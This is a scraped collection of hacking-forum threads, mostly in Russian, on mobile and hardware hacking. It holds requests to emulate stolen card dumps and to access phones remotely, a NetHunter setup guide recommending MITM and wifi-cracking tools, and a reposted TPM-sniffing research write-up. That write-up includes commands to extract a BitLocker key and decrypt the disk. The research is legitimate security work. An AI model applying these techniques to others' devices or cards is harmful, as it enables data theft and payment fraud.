Последний на сегодня модуль, который пригодится в работе - chipscope (это как программный осциллограф - через интерфейс программатора можно заглянуть внутрь чипа и записать из него нужные сигналы). Для его работы под линуксом - нужно исправить файлы inserter и analyzer в каталоге**/Xilinx/14.7/ISE_DS/ISE/bin/lin64/unwrapped**. В заголовке файла меняем #!/bin/sh на #!/bin/bash

flipper zero alternatives?
ID: 676535aeb4103b69df3735e5
Thread ID: 64095
Created: 2022-03-10T15:03:31+0000
Last Post: 2023-04-30T19:14:02+0000
Author: sssssshock
Replies: 11 Views: 2K

Hi all
I wanted to start playing with frequencies like Sub-1 GHz, RFID, NFC, Infrared, Bluetooth, etc.
i found a flipper zero that looks nice but it won't be in production for a few months
Do you know of any alternatives?
I don't want to waste time on pins and solder 😇

Установка Kali NetHunter на ваш девайс
ID: 676535aeb4103b69df3735ec
Thread ID: 78333
Created: 2022-12-17T19:54:05+0000
Last Post: 2023-04-04T05:12:40+0000
Author: Gufi
Prefix: Статья
Replies: 8 Views: 2K

Kali NetHunter — это бесплатная мобильная платформа для тестирования на проникновение для устройств Android с открытым исходным кодом , основанная на Kali Linux . Документация

Для идеальной установки нужно любой девайс с этой таблицы - https://www.kali.org/get-kali/#kali-mobile.
Но в практике подойдет любой девайс на базе ОС android. В нашем случае мы будем ставить прошивку на xiaomi redmi 4x.
Nethunter - это не ОС , а прошивка которая ставиться поверх андроида.
Установка:

Подготовка девайса
(для всех устройств)

1. Включаем режим разработчика:

Откройте настройки устройства.

  1. Нажмите на раздел «О телефоне».
  2. Перейдите к пункту «Номер сборки».
  3. Нажмите несколько раз на эту опцию.
  4. В результате ваших действий на экране устройства появится всплывающая надпись «Вы стали разработчиком!».

2. Заходим в меню разработчика :

6-2.png

3. Включаем отладку по usb и ставим все галочки

Для xiaomi​

1. Включаем режим разработчика

Для этого нужно зайти в настройках «О телефоне» и несколько раз быстро нажать на «Версия MIUI». После этого у вас появится пункт меню «Для разработчиков».

2. Разблокировка загрузчика:

Самое главное, о чем многие забывают: сделать резервную копию всех важных данных! В процессе разблокировки они будут стерты.
После этого нужно привязать учетную запись к устройству в самом телефоне. Необходимо войти в свой Mi Account либо создать новый (при регистрации желательно выбрать способ по номеру телефона). Важно! Нужно зайти именно под аккаунтом, «привязанным» к тому смартфону, который вы хотите разблокировать.
Зайдите в «Настройки — Расширенные настройки — Для разработчиков — Статус загрузчика». Там нажмите «Связать устройство с аккаунтом». После этого смартфон официально «привяжется» к вашей учетной записи.Скачайте на ваш компьютер программу Mi Flash Unlock (она же Mi Unlock), если у вас Windows, либо неофициальную версию Mi Unlock Tool для устройств на базе Linux / Mac.На телефоне необходимо войти в FastBoot-режим. Для этого нужно сначала выключить, а потом включить смартфон, предварительно зажав кнопку питания и уменьшения громкости до тех пор, пока не появится окошко с надписью FASTBOOT и изображением зайца, который чинит робота.Подключите смартфон к компьютеру через USB-кабель. Запустите Mi Flash Unlock (Mi Unlock Tool) на компьютере. Появится экран логина — введите свои данные от аккаунта. Если не помогает ввод телефона, попробуйте ввести номер учетной записи.
При нажатии на Unlock выйдет несколько предупреждений, которые нужно принять, нажав на Unlock anyway.

Установка TWRP​

1.Скачиваем образ twrp.img:
Ищем на сайте свою модель девайса https://twrp.me/Devices/ , а скачиваем twrp.img
Если на сайте нет вашей модели , тогда заходим в 4PDA и там ищем кастомное рекавери под свой девайс

2. Прошиваем рекавери:

3. Заходим в рекавери:

Вход в Recovery на устройствах:

Установка root прав​

Способ 1 :
1.Скачиваем на девайс [SuperSu.zip](https://mega.nz/file/pjQxnJaB#-JB6skmxnJq_u4nHu- Coak30AORaSzuWZyn7otOi0Fw)
2.Заходим в TWRP рекавери
3.Заходим в install
4.Выбираем наш архив
5.делаем свайп и ждем
6.делаем reboot
(на телефоне должна появиться програмка SuperSu, если не появилась - скачиваем)

Способ 2:
(работает не на всех девайсах)
1.Качаем и запускаем Kingroot
2. Выбираем root device и ждем

kingroot-16665-10.jpg

Установка Kali NetHunter

Установка имеет 2 стадии (сперва ставим ядро , а потом прошивку, иначе телефон пойдет в кирпич):

1.установка прошивки (будет работать на любом устройстве с рут правами , полный функционал нетхантера кроме BADUSB атак и поддержки внешнего вайфай адаптера)
2.установка ядра (полный функционал нетхантера с поддержкой BADUSB атак и внешнего вайфай адаптера).

В установке самая большая проблема это установка ядра , они подходят только к девайсам с офф сайта , но есть решение - кастомные ядра от фанатов

Установка ядра

(главное скачать подходящее под вашу прошивку ядро, иначе девайс пойдет в кирпич)

1.Ищем свой девайс в таблице и качаем zip архив.
2.Закидываем его на девайс.
3.Заходим в TWRP рекавери , install , и выбираем наш архив
4.Подтверждаем
5.ждем пока установиться ядро и делаем reboot
Если система загрузилась , тогда все хорошо , ядро установлено.

Установка прошивки Kali NetHunter​

1.Качаем архив с прошивкой - [прошивка](https://kali.download/nethunter- images/kali-2022.4/nethunter-2022.4-generic-arm64-kalifs-full.zip)
2.Закидаем архив на девайс и переходим в TWRP рекавери
3. Install , и выбираем наш архив
(установка займет до 25 минут)
4. Ждем и делаем reboot

NetHunter-App.png
Готово! мы установили kali nethunter на наш девайс , перейдем к расширеной установке !

1.Заходим в SuperSu и даем разрешение на рут доступ всем приложениям нетхантера(nethunter , fdroid , nethunter terminal)
2.Заходим в приложение NetHunter
3.Выбираем пункт kali chroot manager
4.Нажимаем Install kali chroot
Готово!

Возможности Kali NetHunter

Kali nethunter это тот самый Kali linux , переделанный под андроид. Больше внимания идет на MITM и HID атаки , компактный девайс все таки.
После установки у нас появиться приложение Fdroid , это магазин софта для нетхантера , очень много крутого хакерского софта , советую глянуть!
Из всего софта я очень советую Csploit , Intercepter-ng , инчтрументы для перехвата трафика , MITM атак , http иньекций. Из софта ро взлому wifi посоветую router keygen - для удобности атак на впс. Ну и легендарный Aircrack-ng или wifite , поверьте там этого добра много)

Как получить удаленно доступ к мобильному телефону?
ID: 676535aeb4103b69df373600
Thread ID: 75644
Created: 2022-11-11T09:01:49+0000
Last Post: 2022-12-21T09:31:06+0000
Author: Panika
Prefix: GSM
Replies: 22 Views: 2K

Всем привет! Возможно ли получить доступ к мобильному телефону зная только номер абонента? Может кто может чем помочь (эксплойт, услуги и т.д)?

SIM Jacking: как одно SMS-сообщение превращает ваш телефон в игрушку для хакера
ID: 676535aeb4103b69df373601
Thread ID: 78031
Created: 2022-12-13T15:57:53+0000
Last Post: 2022-12-15T08:13:23+0000
Author: Pirate
Prefix: Статья
Replies: 2 Views: 2K

Что такое SIM-джекинг?​

SIM Jacking — это атака, при которой злоумышленник использует SIM-карту цели, чтобы завладеть её учетной записью в смартфоне и получить доступ к личной информации, включая текстовые сообщения, контакты и финансовые данные. Киберпреступники также могут использовать номер пользователя для совершения звонков и отправки текстовых сообщений от его имени.

Кроме того, если номер телефона жертвы привязан к банковскому счету, хакеры могут обойти многофакторную аутентификацию (МФА) и сбросить пароль, чтобы получить доступ к финансовым счетам жертвы. Они также могут использовать ваш номер телефона для регистрации новых учетных записей на ваше имя – например, электронная почта или аккаунт в соцсетях.

Как работает SIM-джекинг?​

Взлом SIM-карты обычно начинается с фишинговой атаки. Злоумышленники отправляют вам текстовое сообщение или электронное письмо, которое выглядит так, как будто оно отправлено вашим оператором мобильной связи. В сообщении может быть сказано, что в вашей учетной записи была обнаружена подозрительная активность или что вам необходимо обновить информацию о себе.

Если вы нажмете на ссылку в сообщении, вы попадете на поддельный веб-сайт, который выглядит как сайт вашего оператора. Веб-сайт запросит у вас личную информацию, включая ваше имя, адрес и дату рождения. Он также запросит номер вашего мобильного телефона и PIN-код учетной записи.

Как только злоумышленник получит вашу информацию, он может связаться с вашим оператором связи и заказать новую SIM-карту. После получения новой SIM-карты они могут завладеть вашим аккаунтом и получить доступ к вашей личной информации.

Подключение SIM-карты с помощью ПО SIM-Jacker (Simjacker)​

SIM-Jacker (Simjacker)— это тип шпионской программы, которую можно установить на телефон жертвы без ее ведома, а затем использовать для отправки команд на SIM-карту, чтобы завладеть телефоном.

При атаке SIM-Jacker на телефон через SMS отправляется шпионское ПО. По сути, SMS-сообщение содержит набор инструкций для указания универсальной плате с интегральной схемой (UICC) взять на себя управление телефоном для извлечения и выполнения конфиденциальных команд.

В результате злоумышленник получает доступ к устройству, к его местоположению и к Cell-ID. Опасность этой атаки заключается в том, что вы даже не будете знать, что ваше устройство было скомпрометировано, так как вы не получите никаких предупреждений о атаке.

Как защитить себя от SIM-джекинга​

Существует несколько способов защититься себя от взлома SIM-карты:

Что делать, если вашу SIM-карту взломали​

Если вы считаете, что стали жертвой взлома SIM-карты, есть несколько действий, которые необходимо совершить:

Опасен ли SIM-джекинг на самом деле?​

Взлом SIM-карты представляет собой большую угрозу, но не так распространен, как другие виды кражи личных данных. Это связано с тем, что для SIM-джекинга требуется высокий уровень технических знаний, и эту атаку трудно осуществить. Однако, последствия взлома SIM-карты могут быть разрушительными.

Looking for a NFC mobile app
ID: 676535aeb4103b69df37360c
Thread ID: 62319
Created: 2022-02-01T21:33:24+0000
Last Post: 2022-11-11T23:56:33+0000
Author: slick007
Replies: 21 Views: 2K

Hello, i am looking for a NFC mobile app that i can load my track(dump) into it and is able to emulate it so i can be able to pay on terminals.
I am willing to pay or provide dumps instead of valid information

Андроиды от Форвард-Лизинга
ID: 676535aeb4103b69df37360d
Thread ID: 52004
Created: 2021-05-20T19:50:16+0000
Last Post: 2022-11-08T15:32:57+0000
Author: Jor-L
Replies: 7 Views: 2K

Добро всем. Вообщем упали на руки несколько залоченных аппаратов. Все повязанны на Лизингде,кто не в курсе,то это своевого рода кредитные телефоне,где при неуплате месячной суммы в рамках договора происходит блокировка смартфона. В настройках даже отсутствует активация OEM разблокировки загрузчика. какие решения можете предложить,ребята

Возможно ли клонирование sim-карт?
ID: 676535aeb4103b69df373620
Thread ID: 63882
Created: 2022-03-06T07:41:49+0000
Last Post: 2022-04-02T15:53:46+0000
Author: HttpAgent
Prefix: GSM
Replies: 30 Views: 2K

Здравствуйте. Возможно ли сегодня, в эпоху 4G LTE сетей сделать клона сим- карты? С физическим доступом к карте и без него. Есть старые статьи, которые описывают процесс клонирования симок через USB sim-reader. В более свежих статьях пишут что это уже неактуально из-за шифрования. Можете более подробно описать или дать ссылки на материалы, что именно мешает скопировать данные с одного чипа на другой? В моем представлении, у оператора в базе хранится номер телефона, номер сим-карты и какой-то секретный ключ. Зная эти данные, их можно записать на болванку и использовать как вторую симку, разве нет?

TPM sniffing
ID: 676535aeb4103b69df373627
Thread ID: 58990
Created: 2021-11-18T10:05:35+0000
Last Post: 2022-02-16T17:07:11+0000
Author: ThunderFish
Prefix: Статья
Replies: 5 Views: 2K

TL;DR : we reproduced Denis Andzakovic’s proof-of-concept showing that it is possible to read and write data from a BitLocker-protected device (for instance, a stolen laptop) by sniffing the TPM key from the LCP bus.
Authors : Thomas Dewaele & Julien Oberson
Special thanks to Denis Andzakovic for his proof-of- concept and Joe Grand (@joegrand) for his hardware hacking teachings at Insomni’hack 2018.

Theory​

Bitlocker is the Full Disk Encryption (FDE) solution offered by Microsoft for its Windows operating systems starting with Windows Vista to protect users’ data at rest. The solution offers various configurations including several ways to store the decryption key. The most common configuration consists in storing the Volume Master Key (VMK) within the Trusted Platform Module (TPM) that is embedded in recent computers.
This setup is interesting because the decryption is completely transparent to the user. This benefit surpasses others since many companies are reluctant to configure an additional password/PIN for the user to boot its computer. The downside is that it opens the door to several attacks including the TPM sniffing described in this post but also DMA or Cold Boot attacks.
Under the hood, the TPM checks various system properties during the startup to ensure that the boot sequence has not been altered. If the validation succeeds, the VMK is released and transmitted to the CPU which could start to decrypt the disk and to load the operating system.
Depending on the hardware, the TPM can be connected to the motherboard with several communication channels including LPC, I2C or SPI. These buses share a common property, namely a low transmission speed (the clock is generally around 25Mhz). This is not an issue for the solution because only a limited quantity of data has to be transmitted but it makes channel sniffing easier since required hardware is inexpensive.

Finding the TPM​

The first step to perform this attack is to locate the right place to probe. Of course, the location varies depending on each motherboard. In our case, the test subject was a Lenovo ThinkPad L440.
The best way to find the communication bus is if you can obtain the motherboard schematics, but we could only find one website that had the schematics for the L440, and it seemed a bit dodgy.

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2Fdodgy.png&hash=ee0058deb425829d8efa2e6f7c9816ef)

Paying for motherboard schematics via Western Union: seems legit.
Instead, we decided to go the manual way and started our journey by locating the TPM chip. These chips usually come in TSSOP28 or VQFN32 packages. We found a TSSOP28 chip labeled P24JPVSP under the trackpad and Google seemed to indicate that it is related to TPM:

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2FTPM_chip_cropped.jpeg&hash=30c9f13898e30f9f909d9b436f647c64)
TPM chip (bottom-right) and debug pads (top-left).

As evidenced by the logo, the chip is made by ST Microelectronics, but the reference P24JPVSP was not found on st.com. After some educated guesses and some more Google searches, we arrived to the conclusion that it is probably equivalent to the [ST33TPM12LPC](https://www.st.com/content/st_com/en/products/secure- mcus/authentication/st33tpm12lpc.html) chip which relies on LPC for communications. Here is the pinout from the data sheet:

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2FTPM_chip_pinout.png&hash=5bd8d64bc00accafe32feff9e8d5bff3)

ST33TPM12LPC pinout.

In order to retrieve the LPC frames, we need to probe the following 6 signals (+ ground):

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2FTPM_chip_pin_descriptions-1024x216.png&hash=3f876831407e2f9827a02e9834bf320a)

Descriptions of the required signals to decode LPC frames.

Now, if (1) you have the correct equipment and (2) you’re confident in your micro-soldering skills, you can solder wires directly on these pins to attach the probes, but the space between each pin is only 0.65 millimeters (for our metrically impaired readers, this is 0.4 millionths of a mile). We did not meet several of these two requirements.
Fortunately, it is not uncommon to find more convenient places on the board that are connected to these pins. As you can see in the picture above, there are 6 pads directly next to the chip, and you can follow the traces to get the following pinout:

Code:Copy to clipboard

1        2        3        4        5        6
LAD0     LAD1    LFRAME    LAD2     LAD3     LRESET

Unfortunately, the LCLK signal is missing! It
seems that the trace going to this pin is coming from the other side of
the motherboard. On the bottom side, this is located under the WiFi
module, and it was initially covered by black tape:

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2Foof.png&hash=898fd7f85177ba29ab69d37bf5bee742)

Surprise! The LPC debug pads were trying to hide, but we caught them by surprise (hence the blurry picture).

We were happy to discover these (relatively) big LPC debug pads, meaning that not only we should have an easier time soldering probes there, but also we can perform the attack by just removing the bottom panel without the need to disassemble the whole laptop and keyboard assembly.
Using a multimeter in continuity mode, we determined the pinout of these pads (which was a bit acrobatic since the chip is on the other side of the board). Unfortunately, we were still missing LCLK, and one of the pads did not seem to be connected to anything. We thought that this was too big a coincidence and surely this unknown pad was actually LCLK, except the circuit is going through some resistors between the pad and the pin.
At this point, we could have probably YOLO’ed it and hoped that our assumption was correct, but we thought that we would actually try to purchase the motherboard schematics from the strange website mentioned at the beginning.
We paid the $20 over PayPal, fully expecting to get scammed, but 15 minutes later, we received an email from a GMail address with some .rar archives containing the BoardView file and software. Naturally, we opened the archives and ran the software on our production domain controller, and it was actually legit! We could confirm that the mystery debug pad was indeed the LPC clock going through some resistors and through a BGA mounted chip (we would have had a tough time doing continuity tests under there!)

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2Fboardview.gif&hash=6f4214cf16417c334d5b9160ac914f9d)

Retracing the LCLK signal back to the LPC debug pads.

Below is the pinout of the LPC debug pads, and we finally have all the required signals. We also noticed, thanks to the schematics, that the clock signal path from the chip to the debug pad was not complete and we had to create a soldering bridge to link them (cf. resistor R1806).

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2FDB1_Pinout-1024x633.png&hash=3752bd7974d60d2f27ff8d35421d0040)

LCLK signal on the LPC debug pads and position of the bridge (R1806).
![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2021%2F11%2Fsoldering_bridge_arrow-1024x689.png&hash=7e441974c9b19aa0c12754518c1e5d30)

Soldering bridge to link the clock signal between the chip and the debug pad.

Hooking up a sniffer​

After finding the best location to probe, we soldered some wires to the LPC debug pads in order to easily hook the sniffer.

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2020%2F07%2FLPC_bus_probes-1024x1024.jpeg&hash=113d132cf7c29fc8f5653a9b184774f3)
From left to right: LDA[0:3], LFRAME, LCLK, and ground.

We started by connecting a MSO 19.2 logical analyzer in order to observe the traffic. According to the manufacturer’s data sheet, the LA buffer is not large enough to capture the whole starting sequence so the device was only used to verify that data were properly retrieved. By doing so, we were able to confirm that the signal shape matched LPC traffic.

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2021%2F11%2FWhatsApp- Image-2020-10-01-at-23.11.40-1024x230.jpeg&hash=b9b6306746e130909b7ee2a300e7184d)
LPC trace with CLK signal in white, FRAME signal in red and DATA[0:3] on channels 3,4,5,6.

In order to circumvent the buffer limitation, we used an FPGA-based device produced by Lattice Semiconductor namely the iCEstick40. This is the same hardware that Denis Andzakovic used for the TPM 2.0 sniffing attempt (except ours is enclosed in a fancy-home-3D-printed box!)
We connected the sniffer according to the pinout specified in the LPC sniffer Github repository using probe clamps to the previously soldered wires. The clamps ensured a good connection with the soldered wires but the connection to the sniffer module was less reliable. In order to reduce movements and therefore limit contact issues, the plugs were tightened by compressing the lower part of the metal connector.

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2021%2F11%2Fsniffer_hooking2.png&hash=251e8be4380aa396cf8131193706126f)
Sniffer hooking using probe clamps (1).
![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2021%2F11%2Fsniffer_hooking3-1024x699.png&hash=e359ae2b335064964d6d3088720dd0b8)
Sniffer hooking using probe clamps (2).
![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2021%2F11%2Fice40-1024x715.png&hash=309c9501899cb5910d931855bb0cd251)

Probe connections to the sniffer; Close-up on the box.

Code:Copy to clipboard

VCC 3.3|NC 1
GND        2
lpc_clock  3
lpc_ad[0]  4
lpc_ad[1]  5
lpc_ad[2]  6
lpc_ad[3]  7
lpc_frame  8
lpc_reset  9

Data acquisition​

The data acquisition was performed using a modified version of the LPC Sniffer. The firmware was modified by Denis Andzakovic to save buffer storage and therefore delay overflow by only recording TPM-related addresses 0x00000024.
After flashing the device, the read_serial.py python script can be used to retrieve the LPC frames. The following command is executed on the sniffing computer, then the target laptop was turned on in order to let the TPM check PCR registers, release the VMK and transmit it over the LPC bus.
As depicted in the output below, only the frames that starts with 24 are recorded in the output log file.

Bash:Copy to clipboard

$ sudo python3 parse/read_serial.py /dev/ttyUSB1 | tee log1
[snip]
b'000000240000'
b'000000240000'
b'000000242c00'
b'000000240000'
b'000000240000'
b'000000240000'
b'000000240100'
b'000000240000'
b'000000240000'
b'000000240000'
b'000000240300'
b'000000242000'
b'000000240000'
b'000000240000'
b'000000245a00'
b'00000024f900'
b'000000244900'
b'000000240900'
b'000000241600'
b'000000240100'
b'000000243a00'
b'000000240b00'
[snip]

Once the boot sequence is completed the script is stopped. The collected data were processed to remove the frame header and only keep the actual data. Then the grep command is used to extract the VMK header followed by the key (32 following hexadecimal characters) as shown below.

Bash:Copy to clipboard

$ cut -f 2 -d\' log6 | grep '24..00$' | perl -pe 's/.{8}(..)..\n/$1/' | grep -Po "2c0000000100000003200000(..){32}"
2c00000001000000032000005af9490916013a0bc177b3301d41508c4af8abb8583de5e4c60bbbabafad8a3a

The key values observed on the bus were not exactly the same every time. This behavior is probably related to the sniffer connection which is far from perfect even after the socket tightening session. As the transmission errors occur randomly, it was relatively easy to identify them by comparing multiple measurements. The table below illustrates the values obtained during four boots.

![](/proxy.php?image=https%3A%2F%2Fblog.scrt.ch%2Fwp- content%2Fuploads%2F2021%2F10%2FWhatsApp- Image-2020-10-01-at-23.11.27.jpeg&hash=73a5900702538322b1fd29e00da57307)

Multiple sniffed data comparison and final key in the right column.

Disk decryption​

With the decryption key in hand, it was possible to decrypt the local disk thanks to dislocker. The last version of the tool at the time of writing is 0.7.2 and it supports the --vmk option which allows to directly specify the VMK without having to reconstruct the FVEK. The VMK has to be placed in a binary file as shown below.

Bash:Copy to clipboard

$ hexdump -C vmk
00000000  5a f9 49 09 16 01 3a 0b  c1 27 b3 30 1d 41 50 8c 
00000010  4a f8 ab b8 58 3d e5 e4  c6 0b bb ab cf ad 8a 3a
$ sudo dislocker -v -V /dev/sdb3 --vmk vmk -- /media/bl
$ sudo mount -o ro,loop /media/bl/dislocker-file /media/blm
$ ls /media/blm
'$RECYCLE.BIN'             ESD            pagefile.sys    'Program Files (x86)'         Users
'$SysReset'                hiberfil.sys   PerfLogs         Recovery                     Windows
 Chocolatey                install        ProgramData      swapfile.sys
'Documents and Settings'   Intel         'Program Files'  'System Volume Information'

At this point it would be possible to circumvent completely the Bitlocker protection and typically :

Conclusion​

To summarize, we were able to retrieve the Bitlocker key in a couple of days with a 49$ FPGA module by only using tools available in DIY stores and, cherry on the cake, without breaking the computer. The operation was easier than expected especially considering it was our first hardware attack and that many companies rely on a TPM-only configuration.
Of course none of this would have been possible (at least not in such a short time) without the work of many other security researchers that discovered the issue, wrote papers and published their tools.
The motherboard schematics was a great help in finding the mapping of the debug pads. It is, however, important to highlight that better soldering skills would have allowed attaching connections directly on the TPM chip itself thus making unnecessary to trace the connections.

Recommendation​

In order to avoid being targeted by the TPM sniffing attack, the easiest way would be to configure Bitlocker to use an additional pre-boot authentication factor like a PIN. Some other factors like USB devices or smartcards would also work but are generally considered less convenient for the user. Of course this configuration change implies that users would have to enter an additional piece of information when to computer boots.
The recently released Windows 11 OS requires the use of a TPM 2.0 chip which was designed to offer encrypted communications. This prerequisite might open the door to a proper way of securing the transmission without requiring the user from adding a second authentication factor. Note, however, that this change would technically prevent TPM sniffing but not other physical attacks.
Additional details regarding Bitlocker countermeasures can also be found on a dedicated Microsoft [post](https://docs.microsoft.com/en- us/windows/security/information-protection/bitlocker/bitlocker- countermeasures).

Resources​

https://blog.scrt.ch/2021/11/15/tpm- sniffing/

Как разблокировать модем Huawei и устройства Pocket WiFi
ID: 676535aeb4103b69df373632
Thread ID: 59812
Created: 2021-12-07T20:16:25+0000
Last Post: 2021-12-07T20:16:25+0000
Author: Zozoa
Prefix: Статья
Replies: 0 Views: 2K

Авторство не на все 100% моё, некоторая часть шагов подсмотрена и изменена.
В этом руководстве я покажу вам, как разблокировать модем Huawei, заблокированный оператором, чтобы он мог принимать SIM-карты других операторов.

Перейдите на домашнюю страницу вашего модема (обычно это делается путем ввода IP-адреса, например 192.168.8.1, в адресную строку браузера) и зайдите в Дополнительные настройки > Информация об устройстве. Запишите свой номер IMEI. Также вы можете посмотреть внутри устройства, под батареей.
1638908033400.png
Теперь, в зависимости от IMEI вашего устройства, вам нужно будет воспользоваться одним из следующих способов:

1. Для номеров IMEI, начинающихся с 35-, используйте Huawei Unlock Code Calculator v1

2. Для номеров IMEI, начинающихся с 86-, используйте Huawei Unlock Code Calculator v2.

3. Для маршрутизаторов Huawei используйте Huawei Unlock Code Calculator v3.

Введите свой IMEI-код в один из вышеуказанных калькуляторов, нажмите "Calculate" и скопируйте полученный код.

Теперь выключите ваш модем и вставьте нужную вам SIM-карту. Включите его и вернитесь на домашней странице. Перейдите в раздел Дополнительные настройки > Настройки SIM > Разблокировать устройство.

В поле, запрашивающее код разблокировки, введите код, который вы получили от калькулятора разблокировки, и нажмите "Применить".

Как обновить прошивку модема Huawei и приборную панель

Если вы заблокировали свой модем Huawei, сбив счетчик разблокировки, сначала вам нужно сбросить счетчик разблокировки. Для этого скачайте программу Huawei Modem Unlocker и распакуйте ее на рабочем столе.

Запустите файл .exe из программы Huawei Modem Unlocker и подключите устройство Huawei к компьютеру через USB. Нажмите кнопку "Обновить", и ваше устройство должно быть автоматически обнаружено.

Установите флажки "Auto-Calc Code" и "Auto-Unlock Modem". Теперь нажмите READ MDM DATA, а затем нажмите UNLOCK. Наконец, нажмите "Calculate" и запишите полученный флеш-код.
(Если эта программа не работает для вашего устройства, попробуйте использовать генератор флэш-кодов Huawei, который запросит IMEI вашего устройства.)

Далее вам понадобится официальная прошивка для вашего конкретного устройства Huawei. Обычно их можно найти на Huawei Firmwares. Убедитесь, что вы загрузили как обновление прошивки, так и обновления приборной панели.
1638908000700.png

Распакуйте прошивку на рабочий стол и, подключив устройство Huawei к компьютеру, запустите файл .exe из папки с прошивкой. Следуйте инструкциям на экране. Вам будет предложено ввести код прошивки, который должен быть у вас в предыдущих шагах этого руководства. Некоторые устройства также могут запросить хэш-код, который можно получить здесь.

И самое важное: даже после разблокировки и прошивки устройства, приборная панель оператора по-прежнему не позволит вам использовать SIM-карты другого оператора. Поэтому вам нужно будет прошить приборную панель на общую приборную панель Huawei, а не на специальную версию вашего оператора.

Распакуйте скачанный ранее файл zip с обновлением на рабочий стол и выполните те же действия, что и при прошивке.

Вот и все! Теперь ваше устройство может работать с SIM-картами любого оператора связи.

ATM Wireless
ID: 676535aeb4103b69df373640
Thread ID: 39832
Created: 2020-07-20T16:35:51+0000
Last Post: 2021-08-31T12:47:53+0000
Author: zer0d4y
Replies: 7 Views: 2K

Hello,

i recently read about the latest Ploutus Malware, being able to attack ATMs by wifi. Does anyone have information on ATM working with wifi? Or is this just an attacker installing a wifi module to later access the atm?

Обхода PIN-кодов для бесконтактных платежей Mastercard и Maestro, VISA и т.д.
ID: 676535aeb4103b69df373641
Thread ID: 56056
Created: 2021-08-30T19:54:28+0000
Last Post: 2021-08-30T19:54:28+0000
Author: Tubu
Prefix: Статья
Replies: 0 Views: 2K

Группа ученых из Швейцарской высшей технической школы Цюриха https://www.usenix.org/conference/usenixsecurity21/presentation/basin
способ обхода PIN-кодов на бесконтактных картах Mastercard и Maestro. Эксплуатация уязвимости позволяла киберпреступникам использовать украденные карты Mastercard и Maestro для оплаты дорогих продуктов без необходимости предоставлять PIN-коды для бесконтактных платежей.

Для осуществления MitM-атаки (Man-in-the-Middle) злоумышленнику потребуется украденная карта, два Android-смартфона и пользовательское приложение для Android, которое может вмешиваться в поля транзакции. Приложение должно быть установлено на обоих смартфонах, которые будут выступать в роли эмуляторов. Один смартфон будет помещен рядом с украденной картой и будет действовать как эмулятор PoS-терминала, обманом заставляя карту инициировать транзакцию и делиться ее данными, в то время как второй смартфон будет действовать в качестве эмулятора карты и использоваться мошенником для передачи измененных данных транзакции в реальный PoS-терминал внутри магазина.

С точки зрения оператора PoS-терминала атака выглядит так, будто клиент платит с помощью своего мобильного платежного приложения, но на самом деле мошенник отправляет измененные данные транзакции, полученные с украденной карты.

Исследовательская группа использовала эту схему атаки в https://arxiv.org/abs/2006.08249

, когда они обнаружили способ обхода PIN-кода для бесконтактных платежей Visa. Эксперты успешно протестировали атаку с картами Visa Credit, Visa Debit, Visa Electron и V Pay.

Затем команда ETH Zurich продолжила свое исследование и сосредоточилась на обходе PIN-кодов на других типах карт, которые не использовали протокол бесконтактных платежей Visa. Как оказалось, аналогичная проблема затрагивала и бесконтактные платежи с картами Mastercard и Maestro.

В данному случае разница заключается в том, что PoS-терминалу не сообщается об успешной проверке PIN-кода. Вместо этого исследователи заставляют PoS-терминал принимать входящую транзакцию якобы от карты Visa, а не Mastercard или Maestro.

Исследователи успешно протестировали атаку с картами Mastercard Credit и Maestro, выполнив транзакции на сумму до 400 швейцарских франков ($439) во время эксперимента.

Mastercard выпустила исправления для данной проблемы в начале этого года, но Visa, похоже, еще не устранила уязвимость.

GSM Ducky. Делаем BadUSB с управлением по сотовой связи
ID: 676535aeb4103b69df373653
Thread ID: 53255
Created: 2021-06-23T20:01:20+0000
Last Post: 2021-06-23T20:01:20+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 2K

Любой компьютер имеет огромную уязвимость — порты, к которым можно подключать устройства ввода. Это открывает пространство для атак типа BadUSB. Обычно это девайс, похожий на флешку, который имитирует клавиатуру и тайком вводит команды скрипта. Атакующий при этом находится неподалеку, но это накладывает ряд ограничений. В этой статье я покажу, как своими руками собрать BadUSB с модулем GSM и SIM-картой, чтобы удалиться можно было хоть в другую часть земного шара!

СТЕЛС — НАШЕ ВСЕ!​

В основе BadUSB лежит микроконтроллер и память, необходимая для хранения кода. Код — это обычно скетч, написанный, например, на языке Arduino. В статье мы будем использовать именно его. Одна из причин его популярности — это широкий выбор библиотек. Они позволяют заметно сэкономить время при написании скетча.

Статьи «Злой HID» и «Злая утка с дистанционным управлением» дают исчерпывающее руководство, как собрать и запрограммировать BadUSB и модифицировать его, добавив ESP8266. Модуль Wi-Fi предоставляет нам огромное преимущество в виде удаленного управления устройством и создания скриптов на лету. Бесспорно, управление через веб‑интерфейс — это крутая модификация. Но за удобство нужно платить, в этом случае скрытностью. Созданная устройством точка доступа может выдать факт работы устройства, а бетонные стены и малый радиус зоны Wi-Fi не дадут пользователю удалиться на расстояние больше ста метров от девайса (это в лучшем случае). В сегодняшней статье мы раздвинем физические границы использования BadUSB.

ВЫБОР ЖЕЛЕЗА​

